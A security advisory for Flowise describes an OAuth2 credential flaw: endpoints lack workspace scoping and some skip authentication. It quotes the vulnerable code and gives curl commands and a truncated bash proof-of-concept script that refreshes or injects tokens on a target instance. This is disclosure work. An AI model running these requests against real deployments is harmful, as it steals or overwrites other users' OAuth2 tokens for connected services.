Summary
Flowise: Cross-Workspace OAuth2 Credential Metadata Leak
Advisory details
Summary
Three OAuth2 credential endpoints look up credentials by id alone with no workspaceId filter. Two of these endpoints (callback, refresh) are whitelisted from all authentication. This allows:
- Cross-workspace credential access — Any authenticated user can initiate OAuth2 flows against credentials belonging to other workspaces.
- Unauthenticated token injection — An unauthenticated attacker can forge OAuth2 callbacks to overwrite tokens in any credential.
- Unauthenticated token refresh — An unauthenticated attacker can refresh tokens for any credential.
Root Cause
Vulnerable code: no workspace scoping
All three OAuth2 handlers query the Credential table by id only:
packages/server/src/routes/oauth2/index.ts:80-82 (authorize)
const credential = await credentialRepository.findOneBy({
id: credentialId
// Missing: workspaceId filter
})
packages/server/src/routes/oauth2/index.ts:183-185 (callback)
const credential = await credentialRepository.findOneBy({
id: state as string
// Missing: workspaceId filter
})
packages/server/src/routes/oauth2/index.ts:314-316 (refresh)
const credential = await credentialRepository.findOneBy({
id: credentialId
// Missing: workspaceId filter
})
Correct pattern (same codebase)
The standard credential service correctly enforces workspace isolation:
packages/server/src/services/credentials/index.ts:130-132
const credential = await appServer.AppDataSource.getRepository(Credential).findOneBy({
id: credentialId,
workspaceId: workspaceId // <-- Workspace scoping present
})
Authentication bypass via whitelist
packages/server/src/utils/constants.ts:40-41
export const WHITELIST_URLS = [
// ...
'/api/v1/oauth2-credential/callback', // line 40
'/api/v1/oauth2-credential/refresh', // line 41
// ...
]
packages/server/src/index.ts:223-225 — prefix-matched whitelist skips all auth:
const isWhitelisted = whitelistURLs.some((url) => req.path.startsWith(url))
if (isWhitelisted) {
next() // No JWT verification, no API key check
}
Attack Scenarios
Scenario A: Cross-Workspace Credential Metadata Leak
An authenticated user in Workspace A initiates an OAuth2 authorize flow for a credential belonging to Workspace B. The server returns an authorization URL containing the victim credential's client_id, scope, and redirect_uri.
POST /api/v1/oauth2-credential/authorize/<VICTIM_CREDENTIAL_UUID>
Cookie: connect.sid=<ATTACKER_SESSION>
Response:
{
"success": true,
"credentialId": "<VICTIM_CREDENTIAL_UUID>",
"authorizationUrl": "https://provider.com/oauth2/authorize?client_id=LEAKED_CLIENT_ID&scope=LEAKED_SCOPE&...",
"redirectUri": "https://flowise-instance/api/v1/oauth2-credential/callback"
}
Scenario B: Unauthenticated Token Injection via Forged Callback
The callback endpoint requires no authentication and uses the state parameter as the credential lookup key. An attacker who controls an OAuth2 provider (or MitMs the flow) can inject arbitrary tokens into any credential.
GET /api/v1/oauth2-credential/callback?code=ATTACKER_AUTH_CODE&state=<VICTIM_CREDENTIAL_UUID>
(No authentication required)
The server exchanges the code at the credential's accessTokenUrl, and whatever tokens the provider returns are encrypted and stored into the victim's credential record (line 271):
await credentialRepository.update(credential.id, {
encryptedData, // Contains attacker-controlled token data
updatedDate: new Date()
})
Scenario C: Unauthenticated Token Refresh
An attacker can refresh any credential's OAuth2 tokens without authentication. The server reads the stored refresh_token, exchanges it at the accessTokenUrl, and returns fresh token metadata.
POST /api/v1/oauth2-credential/refresh/<VICTIM_CREDENTIAL_UUID>
(No authentication required)
Response:
{
"success": true,
"credentialId": "<VICTIM_CREDENTIAL_UUID>",
"tokenInfo": {
"access_token": "new-access-token-value",
"token_type": "Bearer",
"expires_in": 3600,
"has_new_refresh_token": false,
"expires_at": "2026-04-13T12:00:00.000Z"
}
}
The fresh access_token is returned directly in the response body (line 393-401), giving the attacker a valid OAuth2 token for whatever service the victim credential is connected to.
Proof of Concept
Prerequisites
- A running Flowise instance with at least two workspaces (Workspace A and Workspace B)
- An OAuth2 credential configured in Workspace B (the victim)
- The credential UUID of the victim credential (obtainable by any member of Workspace B, or via IDOR — see Finding 4)
Step 1 — Confirm unauthenticated refresh endpoint is reachable
# No cookies, no Bearer token — completely unauthenticated
FLOWISE_URL="https://TARGET_INSTANCE"
VICTIM_CRED_ID="xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx"
curl -s -X POST "${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}" \
-H "Content-Type: application/json"
Expected result if credential exists and has a refresh token:
{
"success": true,
"message": "OAuth2 token refreshed successfully",
"credentialId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"tokenInfo": {
"access_token": "<VALID_ACCESS_TOKEN>",
"token_type": "Bearer",
"expires_in": 3600,
"has_new_refresh_token": false,
"expires_at": "2026-04-13T..."
}
}
Expected result if credential not found:
{
"success": false,
"message": "Credential not found"
}
Step 2 — Cross-workspace authorize (requires any valid session)
# Attacker is authenticated in Workspace A
# They target a credential UUID from Workspace B
ATTACKER_COOKIE="connect.sid=s%3A..."
curl -s -X POST "${FLOWISE_URL}/api/v1/oauth2-credential/authorize/${VICTIM_CRED_ID}" \
-H "Cookie: ${ATTACKER_COOKIE}" \
-H "Content-Type: application/json"
Expected result — victim credential's OAuth2 config is leaked:
{
"success": true,
"credentialId": "xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx",
"authorizationUrl": "https://login.microsoftonline.com/.../authorize?client_id=VICTIM_CLIENT_ID&scope=VICTIM_SCOPES&...",
"redirectUri": "https://TARGET_INSTANCE/api/v1/oauth2-credential/callback"
}
Step 3 — Forge callback to inject attacker-controlled tokens
# Attacker sets up a rogue OAuth2 provider that returns crafted tokens,
# OR intercepts a legitimate flow.
# The state parameter is the victim credential UUID.
curl -s "${FLOWISE_URL}/api/v1/oauth2-credential/callback?code=ATTACKER_CODE&state=${VICTIM_CRED_ID}"
The server POSTs the code to the credential's accessTokenUrl. If the attacker controls the OAuth2 provider (or has a valid code), the returned tokens are written into the victim's credential.
Full automated PoC script
#!/usr/bin/env bash
set -euo pipefail
# ---- Configuration ----
FLOWISE_URL="${1:?Usage: $0 <flowise_url> <victim_credential_uuid> [attacker_cookie]}"
VICTIM_CRED_ID="${2:?Usage: $0 <flowise_url> <victim_credential_uuid> [attacker_cookie]}"
ATTACKER_COOKIE="${3:-}"
echo "=== OAuth2 Cross-Workspace Credential Hijacking PoC ==="
echo "Target: ${FLOWISE_URL}"
echo "Credential: ${VICTIM_CRED_ID}"
echo ""
# --- Attack Vector 1: Unauthenticated token refresh ---
echo "[1] Attempting unauthenticated token refresh..."
REFRESH_RESP=$(curl -s -w "\n%{http_code}" -X POST \
"${FLOWISE_URL}/api/v1/oauth2-credential/refresh/${VICTIM_CRED_ID}" \
-H "Content-Type: application/json")
HTTP_CODE=$(echo "${REFRESH_RESP}" | tail -1)
BODY=$(echo "${REFRESH_RESP}" | head -n -1)
if [ "${HTTP_CODE}" = "200" ]; then
echo "[!] VULNERABLE — Unauthenticated token refresh succeeded"
echo " Response: ${BODY}" | head -c 500
e
References
Related vulnerabilities
All Supply chain →- MEDIUMCVE-2026-72792
SiYuan: Tag labels from password-protected documents are returned to readers who have not entered the password
- MEDIUMCVE-2026-63733
SurrealDB: Writes in a PERMISSIONS clause bypass table permissions
- HIGHGHSA-w8wf-3qvj-6xqf
OpenClaw Feishu permission tools could ignore per-account disablement
- HIGHGHSA-2q7j-2vhx-56g8
OpenClaw Feishu tools could ignore per-account disablement
- MEDIUMCVE-2026-56743
Cilium may unexpectedly allow ingress traffic from the local namespace when a Kubernetes NetworkPolicy is configured with an ipBlock match
- HIGHCVE-2026-73841
OpenChoreo: Cross-project command execution and wirelog view access via OpenChoreo openchoreo-api exec and wirelogs endpoints